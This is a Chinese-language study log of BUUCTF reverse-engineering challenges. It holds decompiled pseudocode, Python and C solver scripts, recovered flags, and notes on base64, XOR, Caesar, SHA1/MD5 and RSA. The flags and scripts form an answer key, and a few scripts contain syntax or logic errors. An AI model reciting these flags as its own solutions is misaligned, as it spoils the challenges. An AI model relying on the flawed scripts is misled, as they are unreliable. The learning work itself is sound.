整理一下笔记
BUUCTF-re helloword 用IDA打开,选择
之后alt+t搜索flag
收获: 可以通过直接搜索flag来解决问题。
Reverse3 首先用IDA打开,然后找到main函数,分析函数通过strncmp函数比较情况,当Destination=Str2时,找到flag。str2根据上面的函数判断,但是分析其又用了base64进行加密故得出结果。
解密脚本思路为:将Str2逆向还原为Des,再对Des做base64解码
提示base64加密再根据sub_4110BE函数判断为base64编码。
注意下面的循环
1 2 3 4 strncpy (Destination, v4, 0x28 u);v11 = j_strlen(Destination); for ( j = 0 ; j < v11; ++j ) Destination[j] += j;
1 2 3 4 5 6 7 8 9 import base64 Des="e3nifIH9b_C@n@dH" flag="" for i in range(len(Des)): flag+=chr(ord(Des[i])-i) print(base64.b64decode(flag))
脚本分析:
ord(Des[i]) 将字符 Des[i] 转换为对应的 ASCII 值。 //ord() 函数获取一个字符的 ASCII 值。
ord(Des[i]) - i 对 ASCII 值进行减法操作,使用索引 i 对每个字符的 ASCII 值进行递减。
chr(…) 将得到的减法结果转换回字符 //chr() 函数将一个 ASCII 值转换为对应的字符。
收获:
一、了解了stencmp函数,它为字符串比较函数 ,将str1和str2进行比较,最多比较n个字节。
若str1与str2的前n个字符相同,则返回0;
若s1大于s2,则返回大于0的值;
若s1 小于s2,则返回小于0的值。
二、base64加密。它是一种将 byte数组编码为字符串的方法,而且编码出的字符串只包含ASCII基础字符。
不一样的flag 打开找到main函数,分析函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __main(); strcpy (v3, "*11110100001010000101111#" ); while ( 1 ) { puts ("you can choose one action to execute" ); puts ("1 up" ); puts ("2 down" ); puts ("3 left" ); printf ("4 right\n:" ); ~~~~~~~ if ( v7[5 * *(_DWORD *)&v3[25 ] - 41 + v4] == '1' ) exit (1 ); if ( v7[5 * *(_DWORD *)&v3[25 ] - 41 + v4] == '#' ) { puts ("\nok, the order you enter is the flag!" ); exit (0 );
根据分析:
*1111 01000 //从星号走到井号 01010 00010 1111#
所以输入的顺序为:222441144222
收获 :
对数字敏感些,一些数字可能在提醒你做题的方向
strcpy函数:它是将一个字符串复制到另一块空间地址中的函数
strcpy(arrayName1,arrayName2);//arrName1(被覆盖者),arrName2(覆盖者)
SimpleRev~ 1 2 3 4 5 6 7 8 9 10 11 if ( !strcmp (text, str2) ) puts ("Congratulation!\n" ); strcpy (dest, a1); strcat (dest, a2); text = join(key3, (const char *)v9);
所以 text=key3+v9;X查看它们的值。
text=”killshdow“
在继续向下看查看key的值,
1 2 3 *(_QWORD *)src = 'SLCDN' ; strcpy (key, key1);strcat (key, src);
所以key=’ADSFKNDCLS’
1 2 3 4 5 6 7 8 9 for ( i = 0 ; i < v5; ++i ) { if ( key[v3 % v5] > 64 && key[v3 % v5] <= 90 ) key[i] = key[v3 % v5] + 32 ; ++v3; }
所以现在的key=key = ‘adsfkndcls’
然后根据下面的代码进行脚本编写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 while ( 1 ) { v1 = getchar(); if ( v1 == 10 ) break ; if ( v1 == 32 ) { ++v2; } else { if ( v1 <='a' || v1 > 'z' ) { if ( v1 > '@' && v1 <= 'Z' ) { str2[v2] = (v1 - 39 - key[v3 % v5] + 97 ) % 26 + 97 ; ++v3; } } else { str2[v2] = (v1 - 39 - key[v3 % v5] + 97 ) % 26 + 97 ; ++v3; } if ( !(v3 % v5) ) putchar (32 ); ++v2; } }
1 2 3 4 5 6 7 8 9 10 key = 'adsfkndcls' flag ='' text = 'killshadow' for i in range (len (text)): for x in range (65 ,123 ): if text[i] == chr ((x-39 -ord (key[i]) + 97 ) % 26 +97 ): flag= flag+chr (x) break print ('flag{' +flag+'}' )
通过ord()函数获取密钥key的ASCII值,再将其减去39。这一步是为了使得结果在0-25之间,以便后续对小写字母进行循环移位加密。
将(x-39-ord(key[i]) + 97) % 26 +97的结果转换为字符,并与text[i]进行比较。
如果相等,则将字符x添加到flag中,并使用break语句跳出内部循环。
所以flag{KLDQCUDFZO}
python语言写的太简短了,自己又用C语言编写了一遍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <stdio.h> int main () { char key[] = "adsfkndcls" ; char text[]="killshadow" ; int v5=10 ; int v3=10 ; int v2=0 ; int i=0 ; int j=0 ; char flag[100 ]="" ; for (i=0 ;i<10 ;i++) { for (j=0 ;j<128 ;j++){ if (j<'A' ||j>'z' ||j>'Z' &&j<'a' ) continue ; if (text[i]==(j-39 -key[v3%v5]+97 )%26 +97 ) { flag[i]=j; v3++; break ; } } } printf ("%s" ,flag); return 0 ; }
收获:
strlen函数:是用以计算字符串长度的函数
strcat函数:它又被称为是字符串追加/连接函数,它的功能就是在一个字符串后面追加上另外一个字符串。
小端储存:简单就是说把字符 串倒过来读,如果是16位进制则两位一输出:12 34 56 ~56 34 12
range()函数用法的一般形式为:range(起始值, 终止值, 步长)
例如,range(5)表示生成一个0到4的整数序列,range(1,5)表示生成一个1到4的整数序列,range(1,10,2)表示生成一个1、3、5、7和9的整数序列。
[ACTF新生赛2020]easyre1 首先,先查看是否有壳,脱壳之后,找到main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 qmemcpy(v4, "*F'\"N,\"(I?+@" , sizeof (v4)); scanf ("%s" , v6);if ( v6[0 ] != 'A' || v6[1 ] != 'C' || v6[2 ] != 'T' || v6[3 ] != 'F' || v6[4 ] != '{' || v10 != '}' )return 0 ; for ( i = 0 ; i <= 11 ; ++i ){ if ( v4[i] != _data_start__[*((char *)v5 + i) - 1 ] ) return 0 ;} printf ("You are correct!" ); _data_start__[*((char *)v5 + i) - 1 ] 等价于 _data_start__[v5[i] - 1 ]。
脚本分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 v4 = [42 ,70 ,39 ,34 ,78 ,44 ,34 ,40 ,73 ,63 ,43 ,64 ] str = r' ~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210 /.-,+*)('+chr(0x27)+r' &%$# !"' s=[] flag1 = '' for i in v4: print(i)//循环输入V4的值 s.append(str.find(chr(i))+1)//将V4【i】转为字符并且在str寻找并且将其位置下标加一返回到s数组中, for i in s: flag1 += chr(i)//设置循环将s数组中的值由十进制转为字符 print(flag1)C
flag{U9X_1S_W6@T?}
收获:
了解的用UPX脱壳
str.find函数为在str中寻找
chr()将十进制转为字符
s.append()将括号里的值转为10进制并且复制给s
[ACTF新生赛2020]rome 首先,无壳。F5打开,找到 代码部分。
然后代码分析:
找到关键 strcpy(v12, "Qsw3sj_lz4_Ujw@l");
然后主要是在下面的循环中找所需要的。就是比较进行输出。
脚本分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 a=[81 , 115 , 119 , 51 , 115 , 106 , 95 , 108 , 122 , 52 , 95 , 85 , 106 , 119 , 64 , 108 ] flag='' //将上面的字符串转为ASCLL码值 for i in range (0, 16): for k in range(0,127)://ASCLL码值的范围为 0~126 z=k if k>64 and k<=90: k=(k-51)%26+65//要注意这里用了凯撒加密将50换为51 if k>96 and k<=122: k=(k-79)%26+97 if k==a[i]://最后进行比较,然后输出 flag+=chr(z) print(flag)
flag{Cae3ar_th4_Gre@t}
收获:
strcpy函数:函数的复制。
ASCLL码值的范围为 0~126
知道了 凯撒加密
该方法把一条消息中的每个字母用字母表中固定距离之后的那个字母来替代。(如果越过了字母Z,会绕回到字母表的起始位置。例如,如果每个字母都用字母表中两个位置之后的字母代替,那么Y就被替换为A,Z就被替换为B。)编写程序用凯撒加密方法对消息进行加密。用户输入待加密的消息和移位计数(字母移动的位置数目,取值为1-25):
[BJDCTF2020]JustRE 无壳,拖进ida32,F5查看main函数,
在main函数中,找不到有用的的值,所以上网查了一下用shift+F12查看字符串
观察到类似的flag点进去查看:
点击DialogFunc+5A↑o之后按F5查看伪代码,
1 2 3 4 5 sprintf (String, " BJD{%d%d2069a45792d233ac}" , 19999 , 0 ); SetWindowTextA(hWnd, String); return 0 ;
flag{1999902069a45792d233ac}
收获:
当无从下手的时候可以shift+F12查看一下字符串,或许会有一定的收获
flag不一定在main函数中。
Java逆向解密 2023.10.15
解压完之后发现文件后缀为.class可以判断为java文件。
用 jadx打开,找到main函数
找到几个关键的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for (char c : arr) {int result = (c + '@' ) ^ 32 ; Resultlist.add(Integer.valueOf(result)); } int [] KEY = {180 , 136 , 137 , 147 , 191 , 137 , 147 , 191 , 148 , 136 , 133 , 191 , 134 , 140 , 129 , 135 , 191 , 65 };if (Resultlist.equals(KEYList)) { System.out.println("Congratulations!" ); } else { System.err.println("Error!" ); equal 相等的
脚本分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 key=[180 , 136 , 137 , 147 , 191 , 137 , 147 , 191 , 148 , 136 , 133 , 191 , 134 , 140 , 129 , 135 , 191 , 65 ] result =[] flag="" for i in range (len (key)): key[i] =key[i]-ord ("@" )^32 result.append(key[i]) for i in range (len (result)): flag +=chr (result[i]) print ("flag{" +flag+"}" )
flag{ This_is_the_flag_!}
收获:
用异或将flag进行加密比较得出结果
注意{}和[]的区别,前者无序后者有序
python十分注重缩进,如果缩进不正确,得到的结果大不相同。
[GXYCTF2019]luck_guy 2023.11.16
拖进IDA,找到main函数中的求flag的地方
可以看出所求就在这个循环里,但是 switch ( rand() % 200 )
的意思是随机抽取模为200
所以确定 一些逻辑:4-5-1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 switch ( rand() % 200 ) { case 1 : puts ("OK, it's flag:" ); memset (&s, 0 , 0x28 uLL); strcat ((char *)&s, f1); strcat ((char *)&s, &f2); printf ("%s" , (const char *)&s); break ; case 2 : printf ("Solar not like you" ); break ; case 3 : printf ("Solar want a girlfriend" ); break ; case 4 : s = 0x7F666F6067756369 LL; v5 = 0 ; strcat (&f2, (const char *)&s); break ; case 5 : for ( j = 0 ; j <= 7 ; ++j ) { if ( j % 2 == 1 ) *(&f2 + j) -= 2 ; else --*(&f2 + j); } break ; default : puts ("emmm,you can't find flag 23333" ); break ; } } return __readfsqword(0x28 u) ^ v6; }
脚本分析:
1 2 3 4 5 6 7 8 f1="{do_not_" f2= "icug`of\x7F" for j in range (8 ): if j%2 ==1 : f2=f2[:j]+chr (ord (f2[j])-2 ) +f2[j+1 :] else : f2=f2[:j]+chr (ord (f2[j])-1 ) +f2[j+1 :] print ("flag" +f1+f2)
flag{do_not_hate_me}
收获:
strcat
函数:追加函数,strcat函数是字符串追加函数,也就是在字符串后面追加另一个字符串。(在记一遍)
memset
函数一般用于初始化,例如memset(&s, 0, 40uLL)
的作用是将起始地址为s的内存块的前40个字节的内容都设置为0。这种操作常用于初始化内存块,清空数组或结构体等。
小段储存和大段储存:LF文件通常使用小端序存储,IDA会把内存中的数据自动转化为大端序存储,所以要注意区分
注意:\x7F
为16进制,所以它们是一块的。
刮开有奖 2023.11.18
没壳,32位打开,找到main函数。
1 2 3 4 5 6 7 8 9 10 if ( strlen (String) == 8 ) sub_4010F0 (v7, 0 , 10 );
得到的V7的值为”3JSJSSaZEnn”
通过用查看字符串,可以发现V4和V5为base64加密
通过在线解密可以发现BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
看到了熟悉的base64加密的特征
结合上面v4和v5的定义以及最后if对v4和v5的比较,我们可以得知v4,v5定义的过程是一个base64加密的过程。通过在线base64解密:BASE64加密解密,我们可以得到加密前的v4和v5
现在我们知道了 :
V7=”3CEHJNSZagn”
v4 = “jMp”
v5 = “WP1”
现在我们可以最后一段代码了
1 2 3 4 5 6 7 8 9 10 11 12 if ( String[0 ] == v7[0 ] + 34 && String[1 ] == v10 && 4 * String[2 ] - 141 == 3 * v8 && String[3 ] / 4 == 2 * (v13 / 9 ) && !strcmp (v4, "ak1w" ) && !strcmp (v5, "V1Ax" ) ) { MessageBoxA(hDlg, "U g3t 1T!" , "@_@" , 0 ); }
所以得到第一个值为:U
第二个值为:J
第三和第四为:WP
所以猜测后面的为base64解密的几个值
故:
flag{UJWP1iMP}
收获 :
数组寻址公式:
简单注册器 2023.11.20
第一次遇见.apk后缀的文件,工具为jadx。 打开找到main函数
分析一下就可以看到所需的。
然后编写脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 x = [100 , 100 , 50 , 57 , 52 , 48 , 99 , 48 , 52 , 52 , 54 , 50 , 98 , 52 , 100 , 100 , 55 , 99 , 52 , 53 , 48 , 53 , 50 , 56 , 56 , 51 , 53 , 99 , 99 , 97 , 49 , 53 ] flag="" x[2 ] = (x[2 ] + x[3 ]) - 50 x[4 ] = (x[2 ] + x[5 ]) - 48 x[30 ] = (x[31 ] + x[9 ]) - 48 x[14 ] = (x[27 ] + x[28 ]) - 97 for i in range (16 ): a = x[31 - i] x[31 - i] = x[i] x[i] = a for num in x: flag += chr (num) print (flag)
收获 :
第一次遇见.apk后缀的文件,工具为jadx。
比较简单。
[GWCTF 2019]pyre 2023.11.20
得到的是 .pyc 文件,需要转换成 .py 文件
可以通过在线网站转换
1 2 3 4 5 6 7 8 9 10 11 12 13 l = len (input1) for i in range (l): num = ((input1[i] + i) % 128 + 128 ) % 128 code += num for i in range (l - 1 ): code[i] = code[i] ^ code[(i + 1 )] print codecode = ['\x1f' , '\x12' , '\x1d' , '(' , '0' , '4' , '\x01' , '\x06' , '\x14' , '4' , ',' , '\x1b' , 'U' , '?' , 'o' , '6' , '*' , ':' , '\x01' , 'D' , ';' , '%' , '\x13' ] ['G' , 'W' , 'H' , 'T' , '{' , 'J' , 'u' , 's' , 't' , '_' , 'R' , 'e' , '_' , '1' , 's' , '_' , 'H' , 'a' , '6' , '6' , 'y' , '!' , '}' ]
通过代码分析这是一个对 一段字符的 异或,所以我们要做的是把它逆向回去就可以了。
脚本分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 code = ['\x1f' , '\x12' , '\x1d' , '(' , '0' , '4' , '\x01' , '\x06' , '\x14' , '4' , ',' , '\x1b' , 'U' , '?' , 'o' , '6' , '*' , ':' , '\x01' , 'D' , ';' , '%' , '\x13' ] str =" " for i in range (len (code-2 ),-1 ,-1 ) code[i]=chr (ord (code[i])^ord (code[i+1 ])) for i in range (len (code)) num = chr (((ord (code[i])-i)%128 +128 )%128 ) str +=num print (str )
注意逆回去的时候注意num = chr(((ord(code[i])-i )%128+128)%128)和for i in range(len(code-2),-1,-1)
收获:
面对.pyc文件可以用在线转化为 .py文件。
findit 2023.11.21-2023.11.21
第二次遇见.apk后缀。为 Java文件。
找到main函数,分析,对数组进行变换然后判断,编写脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 a = ['T' , 'h' , 'i' , 's' , 'I' , 's' , 'T' , 'h' , 'e' , 'F' , 'l' , 'a' , 'g' , 'H' , 'o' , 'm' , 'e' ] b = ['p' , 'v' , 'k' , 'q' , '{' , 'm' , '1' , '6' , '4' , '6' , '7' , '5' , '2' , '6' , '2' , '0' , '3' , '3' , 'l' , '4' , 'm' , '4' , '9' , 'l' , 'n' , 'p' , '7' , 'p' , '9' , 'm' , 'n' , 'k' , '2' , '8' , 'k' , '7' , '5' , '}' ] x = [0 ] * 18 y = [0 ] * 39 for i in range (17 ): if (a[i] < 'I' and a[i] >= 'A' ) or (a[i] < 'i' and a[i] >= 'a' ): x[i] = chr (ord (a[i]) + 18 ) elif (a[i] < 'A' or a[i] > 'Z' ) and (a[i] < 'a' or a[i] > 'z' ): x[i] = a[i] else : x[i] = chr (ord (a[i]) - 8 ) for i2 in range (38 ): if (b[i2] < 'A' or b[i2] > 'Z' ) and (b[i2] < 'a' or b[i2] > 'z' ): y[i2] = b[i2] else : y[i2] = chr (ord (b[i2]) + 16 ) if (y[i2] > 'Z' and y[i2] < 'a' ) or y[i2] >= 'z' : y[i2] = chr (ord (y[i2]) - 26 ) for i in range (17 ): print (x[i], end='' ) print ()for i in range (38 ): print (y[i], end='' )
其实你写完全部后,发现只有后半部分为我们所求的。
LzakAkLzwXdsyZgew
flag{c164675262033b4c49bdf7f9cda28a75}
收获:
独立写脚本。
rsa 2023.11.22
文件后缀为.enc和.key
什么是ENC文件类型?
最常见的是,.enc文件名扩展名的作用是表明一个文件以某种方式进行了ENC编码或ENC加密(ENC)。在许多情况下,.enc作为第二个扩展名出现(例如,文件名.txt.enc)。这通常意味着文件的内容已经被替换为加密形式的内容。当然,这使得该文件在原来的关联中无法读取。一个ENC文件不能以任何方式被读取,而且是没有意义的,除非它先被解密。 因此,这是一个用rsa加密的文件,解开后应该就是flag
首先,求公私钥,用在线软件 求得n(模数)和e(指数)
链接: http://tool.chacuo.net/cryptrsakeyparse
再用在线工具求p和q。
链接: https://tool.lu/hexconvert/
将上面的n从十六进制转为十进制
转换为86934482296048119190666062003494800588905656017203025617216654058378322103517
然后进行大素数的分解
链接: http://factordb.com/index.php
所以:
n = 86934482296048119190666062003494800588905656017203025617216654058378322103517 p = 285960468890451637935629440372639283459 q = 304008741604601924494328155975272418463 e = 65537
gmpy2.invert(x,m) 求大整数x模m的逆元
然后编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import gmpy2import rsan = 86934482296048119190666062003494800588905656017203025617216654058378322103517 e = 65537 p = 285960468890451637935629440372639283459 q = 304008741604601924494328155975272418463 d = int (gmpy2.invert(e,(p-1 )*(q-1 ))) privkey = rsa.PrivateKey(n,e,d,p,q) with open ('D:\Astudy\title\BUUCTF\rsa\output\\flag.enc' ,'rb+' ) as file: text = file.read() message = rsa.decrypt(text,privkey) print (message)
b’flag{decrypt_256}\n’
收获:
了解rsa解密
python的包pip的安装:
pip国内源的下载路径https://www.runoob.com/w3cnote/pip-cn-mirror.html
rsa解密
其中=n-1必须是质数才行。
https://www.bilibili.com/video/BV1YQ4y1a7n1/?spm_id_from=333.337.search-card.all.click&vd_source=2d5d92f8392dd823a882ab043d25c892
[FlareOn4]login 2023.11.23
第一次遇到.html后缀的文件。
用网页打开后,右键查看源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <string.h> void rot13 (char * str) { int i; for (i = 0 ; i < strlen (str); i++) { if ((str[i] >= 'A' && str[i] <= 'M' ) || (str[i] >= 'a' && str[i] <= 'm' )) { str[i] += 13 ; } else if ((str[i] >= 'N' && str[i] <= 'Z' ) || (str[i] >= 'n' && str[i] <= 'z' )) { str[i] -= 13 ; } } } int main () { char flag[100 ]; printf ("Enter the flag: " ); fgets(flag, sizeof (flag), stdin ); flag[strcspn (flag, "\n" )] = '\0' ; rot13(flag); if (strcmp ("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz" , flag) == 0 ) { printf ("Correct flag!\n" ); } else { printf ("Incorrect flag, rot again\n" ); } return 0 ; }
1 2 3 4 5 if (strcmp ("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz" , flag) == 0 ) { printf ("Correct flag!\n" ); }
然后编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 str ="PyvragFvqrYbtvafNerRnfl@syner-ba.pbz" flag="" for i in str : if ((i >= 'A' and i <= 'M' ) or (i >= 'a' and i <= 'm' )): flag+=chr (ord (i)+13 ) elif ((i >= 'N' and i <= 'Z' ) or (i >= 'n' and i <= 'z' )) : flag+=chr (ord (i)-13 ) else : flag+=i print (flag)
flag{ClientSideLoginsAreEasy@flare-on.com }
收获:
了解了 .html后缀的文件的处理方法。
语言转换后还是要了解python的语法。包括:ord()和chr()函数的用法,什么时候要用chr(),什么时候要用ord()
[WUSTCTF2020]level1 2023.11.24
首先打开发现文件时没有后缀的,所以我们F2将它重新命名一下。(不命名也一样)
无壳。
用 ida(64)打开,main函数:
分析函数
1 2 3 fread(ptr, 1uLL , 0x14 uLL, stream);:从文件中读取 0x14 (20 )个字节的数据,并将其存储到指针 ptr 指向的内存区域中。
脚本分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ptr =[198 ,232 ,816 ,200 ,1536 ,300 ,6144 ,984 ,51200 ,570 ,92160 ,1200 ,565248 ,756 ,1474560 ,800 ,6291456 ,1782 ,65536000 ] for i in range (19 ): if (((i+1 )&1 )!=0 ): print (chr (ptr[i] >> (i+1 )),end="" ) else : print (chr (ptr[i]//(i+1 ) ),end="" )
C语言版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> int main () { int output[20 ] = {0 ,198 ,232 ,816 ,200 ,1536 ,300 ,6144 ,984 ,51200 ,570 ,92160 ,1200 ,565248 ,756 ,1474560 ,800 ,6291456 ,1782 ,65536000 }; for (int i = 1 ; i <= 19 ; ++i) { if (i & 1 ) printf ("%c" , (unsigned int )(output[i] >> i)); else printf ("%c" , (unsigned int )( output[i]/i )); } }
需要注意的是output是输出后的值所以在我们将它逆向回去的时候要注意循环里的运算变值。
也就是将<<换为>>和将/和*的等值变换。
flag{d9-dE6-20c}
收获:
第二次遇见end=" "
所以要记一下
转C语言时记不清:
[GUET-CTF2019]re 2023.11.27
有壳,ida(64)打开,找不到main函数。
alt+T搜索一下flag,F5点开,分析一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 v12 = __readfsqword(0x28 u); sub_40F950((unsigned int )"input your flag:" , a2, a3, a4, a5, a6, 0LL , 0LL , 0LL , 0LL ); sub_40FA80((unsigned int )"%s" , (unsigned int )&v11, v6, v7, v8, v9, v11); if ( (unsigned int )sub_4009AE(&v11) ) sub_410350("Correct!" ); else sub_410350("Wrong!" ); result = 0LL ; if ( __readfsqword(0x28 u) != v12 ) sub_443550(); return result; }
if ( (unsigned int)sub_4009AE(v11) )
这句中里面的函数是最主要的,点开用chatgpt分析一下,然后编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 flag=" " flag+=chr (166163712 // 1629056 ) flag+=chr (731332800 //6771600 ) flag+=chr (357245568 // 3682944 ) flag+=chr (1074393000 //10431000 ) flag+=chr (489211344 //3977328 ) flag+=chr ( 518971936 //5138336 ) flag+='?' flag+=chr (406741500 //7532250 ) flag+=chr (294236496 //5551632 ) flag+=chr (177305856 //3409728 ) flag+=chr (650683500 //13013670 ) flag+=chr (298351053 //6088797 ) flag+=chr (386348487 //7884663 ) flag+=chr (438258597 //8944053 ) flag+=chr (249527520 //5198490 ) flag+=chr (445362764 //4544518 ) flag+=chr (174988800 //3645600 ) flag+=chr (981182160 //10115280 ) flag+=chr (493042704 //9667504 ) flag+=chr (257493600 //5364450 ) flag+=chr (767478780 //13464540 ) flag+=chr (312840624 //5488432 ) flag+=chr ( 1404511500 //14479500 ) flag+=chr (316139670 //6451830 ) flag+=chr (619005024 //6252576 ) flag+=chr (372641472 //7763364 ) flag+=chr (373693320 //7327320 ) flag+=chr (498266640 //8741520 ) flag+=chr (452465676 //8871876 ) flag+=chr (208422720 //4086720 ) flag+=chr (515592000 //9374400 ) flag+=chr (719890500 //5759124 ) print (flag) flag{e?654211 10b0a3099a1c039337}
flag{e165421110ba03099a1c039337}
收获 :
复习了一下upx的破壳。
基本没有什么思路,看的别人的wp。
CrackRTF 2023.11.28-2023.11.29
首先点开文件,看见到了password1,初步推测为密码分段处理。
无壳,ida打开,F5找到main函数
首先,分析一下知道了函数大概的意思,
大致的流程就是运行程序后,输入第一个密码,密码长度为6;密码的范围是100000到999999.
1 2 3 4 if ( v7 < 100000 ) ExitProcess(0 );
然后将密码1+@DBApp;对“密码1+@DBApp”进行加密,加密后if判断成功,接着输入第二个密码,第二个密码长度也为6,继续将Destination跟密码2连接起来,形成一个长度位18的Str,对Str进行加密;
1 2 3 4 5 6 7 8 9 10 11 v7 = atoi(Destination); if ( v7 < 100000 ) ExitProcess(0 ); strcat (Destination, "@DBApp" ); v3 = strlen (Destination); sub_40100A((BYTE *)Destination, v3, String1); if ( !_strcmpi(String1, "6E32D0943418C2C33385BC35A1470250DD8923A9" ) ) { .......
在计算第一个密码段时,主要的是有一个函数,点进去。我们可以在函数sub_40100A
里面可以看见关键的一句CryptCreateHash(phProv, 0x8004u, 0, 0, &phHash)
这个是运用的哈希加密,我们上网搜索了解了一下哈希算法,
搜索哈希算法0x8004,了解了它是运用了SHA1哈希算法进行加密,然后就可以编写一下脚本了。
1 2 3 4 5 6 7 8 9 10 import hashlibstring='@DBApp' for i in range (100000 ,999999 ): flag=str (i)+string x = hashlib.sha1(flag.encode("utf8" )) y = x.hexdigest() if "6e32d0943418c2c33385bc35a1470250dd8923a9" == y: print (flag) break
得到为123321@DBApp
所以说password1为123321
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 strcat (Str, Destination); memset (String1, 0 , sizeof (String1)); v4 = strlen (Str); sub_401019((BYTE *)Str, v4, String1); if ( !_strcmpi("27019e688a4e62a649fd99cadaafdb4e" , String1) ) { if ( !(unsigned __int8)sub_40100F(Str) ) { printf ("Error!!\n" ); ExitProcess(0 ); } printf ("bye ~~\n" ); } }
第二部分与第一部分相似,输入六位后进行拼接,将长度的值赋给v4,我们进入sub_401019
函数,对数据进行处理、进行查看分析,只不过标识码变成了 0x8003u ,查询知是 md5 加密,用脚本爆破没出来结果,接着向下看,进入 sub_40100F
函数
除了 FindResourceA, SizeofResource, LoadResource, LockResource 和 CreateFileA 外还有一个处理函数,进去康康
里面就是异或,a3 的值是从SizeofResource中获取,大概是从文件AAA中取得0x65这个信息,复制到lpBuffer中,将文件中取得的信息进行异或,生成.RTF文件
1 hFile = CreateFileA("dbapp.rtf" , 0x10000000 u, 0 , 0 , 2u , 0x80 u, 0 );
这段代码执行了资源的查找、加载和写入文件的操作。它从资源中获取数据并将其写入名为 “dbapp.rtf” 的文件中。具体的资源和文件操作取决于代码中使用的资源标识符、资源类型和文件名。
用resource_hacker进行信息的获取
用010 Editor对.rtf进行查看
1 2 3 4 5 6 7 8 9 10 v5 = lstrlenA(lpString); for ( i = 0 ; ; ++i ) { result = i; if ( i >= a3 ) break ; *(_BYTE *)(i + a2) ^= lpString[i % v5]; } return result;
取前六位 05 7D 41 15 26 01 ,和 rtf 文件头7B 5C 72 74 66 31两者进行异或
1 2 3 4 5 6 7 rtft = [0x7B ,0x5C ,0x72 ,0x74 ,0x66 ,0x31 ] aaa = [0x05 ,0x7D ,0x41 ,0x15 ,0x26 ,0x01 ] pass2 = '' for i in range (6 ): pass2 += chr (rtft[i]^aaa[i]) print (pass2)
得到第二个密码。
~!3a@0
运行程序,分别输入俩个密码,程序会在同一个目录下创建一个文件,打开发现flag
flag{N0_M0re_Free_Bugs}
收获:
了解了哈希加密算法
了解了哈希加密中hexdigest()函数 是 Python 中 hashlib 模块中 hash 对象的一个方法。它用于获取哈希对象的十六进制表示形式。
哈希加密: Hash加密算法是一种将任意长度的消息压缩成固定长度散列值的算法。它的特点是快速、不可逆和安全。Hash加密算法被广泛用于数字签名、数据完整性验证等信息安全领域。本文将介绍Hash加密算法的基本原理、常用算法和应用场景。
https://blog.csdn.net/javasimawanyi/article/details/131643604
[2019红帽杯]easyRE 2023.12.4,2024.1.25
文件后缀为.elf 第一次看见这种后缀,无壳,64位,拖入ida
进去之后找不到main函数,搜索一下找不到明显的flag,查看一下字符串
观察图片,我们看到“You found me” ,其实就可以大概判断我们所找的就为它。
观察到ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
提示为base64编码。(提示我们可能用到base64在线解密)。
我们找到它,F5反汇编一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 v19 = __readfsqword(0x28 u); qmemcpy(v12, "Iodl>Qnb(ocy" , 12 ); v12[12 ] = 127 ; qmemcpy(v13, "y.i" , 3 ); v13[3 ] = 127 ; qmemcpy(v14, "d`3w}wek9{iy=~yL@EC" , sizeof (v14)); memset (v15, 0 , sizeof (v15)); v16 = 0 ; v17 = 0 ; sub_4406E0(0LL , v15, 37LL ); unsigned __int64 result; __int64 v4; size_t v5; unsigned __int64 v6; if ( dword_6CF29C ) { v4 = sub_443B80(); sub_443BE0(v4, a2, sys_read(a1, a2, v5)); result = v6; if ( v6 < 0xFFFFFFFFFFFFF001 LL ) return result; goto LABEL_5; } result = sys_read(a1, a2, a3); if ( result >= 0xFFFFFFFFFFFFF001 LL ) { LABEL_5: __writefsdword(0xFFFFFFD0 , -(int )result); return -1LL ; } return result; } v17 = 0 ; if ( sub_424BA0(v15) == 36 ) { for ( i = 0 ; i < (unsigned __int64)sub_424BA0(v15); ++i ) { if ( (unsigned __int8)(v15[i] ^ i) != v12[i] ) { result = 4294967294LL ; goto LABEL_13; } } sub_410CC0("continue!" ); memset (v18, 0 , 65 ); sub_4406E0(0LL , v18, 64LL ); v18[39 ] = 0 ; if ( sub_424BA0(v18) == 39 ) { v2 = sub_400E44(v18); v3 = sub_400E44(v2); v4 = sub_400E44(v3); v5 = sub_400E44(v4); v6 = sub_400E44(v5); v7 = sub_400E44(v6); v8 = sub_400E44(v7); 